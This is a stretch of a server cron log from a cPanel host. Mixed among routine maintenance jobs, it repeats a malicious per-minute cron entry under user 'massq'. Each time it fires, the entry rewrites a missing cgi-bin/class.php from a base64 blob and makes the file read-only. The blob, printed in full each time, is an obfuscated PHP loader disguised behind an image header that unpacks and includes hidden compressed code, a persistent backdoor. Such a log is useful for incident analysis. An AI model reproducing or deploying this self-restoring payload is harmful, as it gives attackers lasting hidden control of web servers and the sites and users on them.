Sep 11 08:56:01 server CROND[17331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:56:01 server CROND[17332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:56:01 server CROND[17333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:57:01 server CROND[17721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:57:01 server CROND[17722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:57:02 server CROND[17724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:57:02 server CROND[17723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:58:01 server CROND[18094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:58:01 server CROND[18095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:58:01 server CROND[18096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:59:01 server CROND[18553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:59:01 server CROND[18554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:59:01 server CROND[18555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:00:01 server CROND[19047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:00:01 server CROND[19048]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 11 09:00:01 server CROND[19051]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:00:01 server CROND[19054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:00:01 server CROND[19057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:00:01 server CROND[19056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:00:01 server CROND[19055]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 09:00:01 server CROND[19067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:00:01 server CROND[19068]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:00:01 server CROND[19066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:01:01 server CROND[20121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:01:01 server CROND[20122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:01:01 server CROND[20124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:01:01 server CROND[20123]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 09:01:01 server run-parts(/etc/cron.hourly)[20123]: starting 0anacron
Sep 11 09:01:01 server run-parts(/etc/cron.hourly)[20144]: finished 0anacron
Sep 11 09:02:01 server CROND[20579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:02:01 server CROND[20580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:02:01 server CROND[20581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:03:01 server CROND[20966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:03:01 server CROND[20967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:03:01 server CROND[20968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:04:01 server CROND[21357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:04:01 server CROND[21356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:04:01 server CROND[21358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:05:01 server CROND[21852]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:05:01 server CROND[21853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:05:01 server CROND[21856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:05:01 server CROND[21860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:05:01 server CROND[21858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:05:01 server CROND[21861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:05:01 server CROND[21862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:05:01 server CROND[21857]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:06:02 server CROND[22700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:06:02 server CROND[22702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:06:02 server CROND[22703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:07:01 server CROND[23257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:07:01 server CROND[23258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
